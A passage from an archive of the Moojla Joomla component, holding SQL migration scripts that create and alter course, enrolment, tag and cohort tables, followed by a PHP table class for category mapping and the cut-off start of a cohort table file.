) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.47.sql000064400000002220151165724400011426
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_tag_test` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_name` (`name`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.48.sql000064400000000141151165724400011427
0ustar00ALTER TABLE `#__moojla_joomla_tag` ADD `name` VARCHAR(255) NOT NULL
DEFAULT '' AFTER `asset_id`;
sql/updates/mysql/1.0.49.sql000064400000002222151165724400011432
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_joomla_tag` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_name` (`name`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.5.sql000064400000002305151165724400011344
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_enrolment` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`remoteid` INT(10) NOT NULL DEFAULT 0,
	`username` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_remoteid` (`remoteid`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.50.sql000064400000002221151165724400011421
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_joomlatag` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_name` (`name`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.51.sql000064400000000142151165724400011422
0ustar00ALTER TABLE `#__moojla_tag_instance` CHANGE `moodletags`
`moodletag` INT(100) NOT NULL DEFAULT 0;
sql/updates/mysql/1.0.52.sql000064400000000142151165724400011423
0ustar00ALTER TABLE `#__moojla_tag_instance` ADD `moodletag` INT(10) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.53.sql000064400000000457151165724400011435
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_favorite` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.54.sql000064400000000516151165724400011432
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_rate` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
`rate` INT(4) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.55.sql000064400000000135151165724400011430
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `moojlacourse` INT(11) NOT
NULL DEFAULT 0 AFTER `jid`;
sql/updates/mysql/1.0.56.sql000064400000002326151165724400011435
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_enrolment` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`jid` INT(11) NOT NULL DEFAULT 0,
	`moojlacourse` INT(11) NOT NULL DEFAULT 0,
	`role` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_jid` (`jid`),
	KEY `idx_moojlacourse` (`moojlacourse`),
	KEY `idx_role` (`role`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.57.sql000064400000000135151165724400011432
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `moojlacourse` INT(11) NOT
NULL DEFAULT 0 AFTER `jid`;
sql/updates/mysql/1.0.58.sql000064400000000124151165724400011431
0ustar00ALTER TABLE `#__moojla_course` ADD `catid` INT(64) NULL DEFAULT 0
AFTER `cat_name`;
sql/updates/mysql/1.0.59.sql000064400000000121151165724400011427
0ustar00ALTER TABLE `#__moojla_user_map` ADD `userimage` varchar(255) NULL
DEFAULT NULL;
sql/updates/mysql/1.0.6.sql000064400000000313151165724400011342
0ustar00ALTER TABLE `#__moojla_course` ADD `in_enrol_date` VARCHAR(10) NOT
NULL DEFAULT '' AFTER `guest`;

ALTER TABLE `#__moojla_course` ADD `self_enrolment` VARCHAR(10) NOT NULL
DEFAULT '' AFTER `remoteid`;
sql/updates/mysql/1.0.60.sql000064400000002105151165724400011423
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_category_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`jcatid` INT(64) NULL DEFAULT 0,
	`mcatid` INT(64) NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.61.sql000064400000002044151165724400011426
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_language` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`language` VARCHAR(7) NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.62.sql000064400000000272151165724400011430
0ustar00ALTER TABLE `#__moojla_language` ADD `key` VARCHAR(255) NULL
DEFAULT '' AFTER `asset_id`;

ALTER TABLE `#__moojla_language` ADD `value` VARCHAR(1024) NULL DEFAULT
'' AFTER `language`;
sql/updates/mysql/1.0.63.sql000064400000000205151165724400011425
0ustar00ALTER TABLE `#__moojla_course` ADD `course_detail_layout`
VARCHAR(255) NULL DEFAULT '' AFTER
`course_templatestyle_forcourseconfig`;
sql/updates/mysql/1.0.64.sql000064400000000321151165724400011425
0ustar00ALTER TABLE `#__moojla_course` ADD `loginurl` VARCHAR(255) NULL
DEFAULT '' AFTER `in_enrol_date`;

ALTER TABLE `#__moojla_course` ADD `registrationurl` VARCHAR(255) NULL
DEFAULT '' AFTER `permanent_fields`;
sql/updates/mysql/1.0.65.sql000064400000000135151165724400011431
0ustar00ALTER TABLE `#__moojla_user_map` ADD `updatetype` TINYINT(3) NOT
NULL DEFAULT 1 AFTER `mid`;
sql/updates/mysql/1.0.66.sql000064400000000141151165724400011427
0ustar00ALTER TABLE `#__moojla_user_map` CHANGE `updatetype` `updatetype`
TINYINT(3) NOT NULL DEFAULT 1;
sql/updates/mysql/1.0.67.sql000064400000000155151165724400011435
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `enrolldate` DATETIME NOT
NULL DEFAULT CURRENT_TIMESTAMP AFTER `role`;
sql/updates/mysql/1.0.68.sql000064400000000136151165724400011435
0ustar00ALTER TABLE `#__moojla_user_map` ADD `debug` VARCHAR(10) NULL
DEFAULT NULL AFTER `userimage`;
sql/updates/mysql/1.0.69.sql000064400000000001151165724400011425 0ustar00
sql/updates/mysql/1.0.7.sql000064400000000134151165724400011344
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `userid` INT(10) NOT NULL
DEFAULT 0 AFTER `remoteid`;
sql/updates/mysql/1.0.70.sql000064400000002232151165724400011425
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_cohort` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`course_group` INT(11) NOT NULL DEFAULT 0,
	`mcohort` INT(11) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_mcohort` (`mcohort`),
	KEY `idx_course_group` (`course_group`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.71.sql000064400000001641151165724400011431
0ustar00ALTER TABLE `#__moojla_course` ADD `addcontrols` TINYINT(1) NOT
NULL DEFAULT 1 AFTER `asset_id`;

ALTER TABLE `#__moojla_course` ADD `autoplay` TINYINT(1) NOT NULL DEFAULT 0
AFTER `addcontrols`;

ALTER TABLE `#__moojla_course` ADD `autoplayaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `autoplay`;

ALTER TABLE `#__moojla_course` ADD `muted` TINYINT(1) NOT NULL DEFAULT 0
AFTER `loginurl`;

ALTER TABLE `#__moojla_course` ADD `preloadaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `permanent_fields`;

ALTER TABLE `#__moojla_course` ADD `preloadvideo` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadaudio`;

ALTER TABLE `#__moojla_course` ADD `preventdownload` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadvideo`;

ALTER TABLE `#__moojla_course` ADD `preventdownloadaudio` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `preventdownload`;

ALTER TABLE `#__moojla_course` ADD `videotype` TINYINT(1) NOT NULL DEFAULT
1 AFTER `teachers`;
sql/updates/mysql/1.0.72.sql000064400000000321151165724400011424
0ustar00ALTER TABLE `#__moojla_course` ADD `useglobalaudio` TINYINT(1) NOT
NULL DEFAULT 1 AFTER `teachers`;

ALTER TABLE `#__moojla_course` ADD `useglobalvideo` TINYINT(1) NOT NULL
DEFAULT 1 AFTER `useglobalaudio`;
sql/updates/mysql/1.0.73.sql000064400000001533151165724400011433 0ustar00--
ALTER TABLE `#__moojla_course` ADD `autoplay` TINYINT(1) NOT NULL DEFAULT 0
AFTER `addcontrols`;

-- ALTER TABLE `#__moojla_course` ADD `autoplayaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `autoplay`;

-- ALTER TABLE `#__moojla_course` ADD `muted` TINYINT(1) NOT NULL DEFAULT 0
AFTER `loginurl`;

-- ALTER TABLE `#__moojla_course` ADD `preloadaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `permanent_fields`;

-- ALTER TABLE `#__moojla_course` ADD `preloadvideo` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadaudio`;

-- ALTER TABLE `#__moojla_course` ADD `preventdownload` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadvideo`;

-- ALTER TABLE `#__moojla_course` ADD `preventdownloadaudio` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `preventdownload`;

-- ALTER TABLE `#__moojla_course` ADD `videotype` TINYINT(1) NOT NULL
DEFAULT 1 AFTER `useglobalvideo`;
sql/updates/mysql/1.0.74.sql000064400000002010151165724400011423
0ustar00ALTER TABLE `#__moojla_course` ADD `alterurl` VARCHAR(255) NULL
DEFAULT '' AFTER `addcontrols`;

ALTER TABLE `#__moojla_course` ADD `availabilityinfolink` TINYINT(1) NOT
NULL DEFAULT 2 AFTER `autoplayaudio`;

ALTER TABLE `#__moojla_course` ADD `buylbl` VARCHAR(50) NULL DEFAULT
'' AFTER `availabilityinfolink`;

ALTER TABLE `#__moojla_course` ADD `cangotomoodle` TINYINT(1) NOT NULL
DEFAULT 2 AFTER `buylbl`;

ALTER TABLE `#__moojla_course` ADD `enrollbl` VARCHAR(50) NULL DEFAULT
'' AFTER `enddate`;

ALTER TABLE `#__moojla_course` ADD `enterlbl` VARCHAR(50) NULL DEFAULT
'' AFTER `enrollbl`;

ALTER TABLE `#__moojla_course` ADD `freeenterlbl` VARCHAR(50) NULL DEFAULT
'' AFTER `enterlbl`;

ALTER TABLE `#__moojla_course` ADD `loginlbl` VARCHAR(50) NULL DEFAULT
'' AFTER `in_enrol_date`;

ALTER TABLE `#__moojla_course` ADD `popupbutton` TINYINT(1) NOT NULL
DEFAULT 2 AFTER `permanent_fields`;

ALTER TABLE `#__moojla_course` ADD `redirect_after_enrol` TINYINT(1) NOT
NULL DEFAULT 2 AFTER `preventdownloadaudio`;
sql/updates/mysql/1.0.75.sql000064400000000135151165724400011432
0ustar00ALTER TABLE `#__moojla_course` ADD `alias` CHAR(64) NOT NULL
DEFAULT '' AFTER `addcontrols`;
sql/updates/mysql/1.0.76.sql000064400000000362151165724400011435
0ustar00ALTER TABLE `#__moojla_course` ADD COLUMN IF NOT EXISTS
`showlogintab` TINYINT(1) NOT NULL DEFAULT 1 AFTER `shortname`;

ALTER TABLE `#__moojla_course` ADD COLUMN IF NOT EXISTS `showregtab`
TINYINT(1) NOT NULL DEFAULT 1 AFTER `showlogintab`;
sql/updates/mysql/1.0.8.sql000064400000000142151165724400011344
0ustar00ALTER TABLE `#__moojla_course` ADD `startdate` VARCHAR(255) NOT
NULL DEFAULT 0 AFTER `shortname`;
sql/updates/mysql/1.0.9.sql000064400000000137151165724400011351
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `role` VARCHAR(64) NOT NULL
DEFAULT '' AFTER `remoteid`;
sql/updates/mysql/index.html000064400000000054151165724400012156
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>tables/category_map.php000064400000020572151165724400011214
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		category_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Categories_map Table class
 */
class MoojlaTableCategory_map extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_category_map', 'id',
$db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.category_map'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Category_map table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New category_map. A category_map created and created_by field can be
set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('category_map',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_CATEGORY_MAP_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('category_map',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.category_map.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.category_map.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/cohort.php000064400000020453151165724400010036 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohort.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
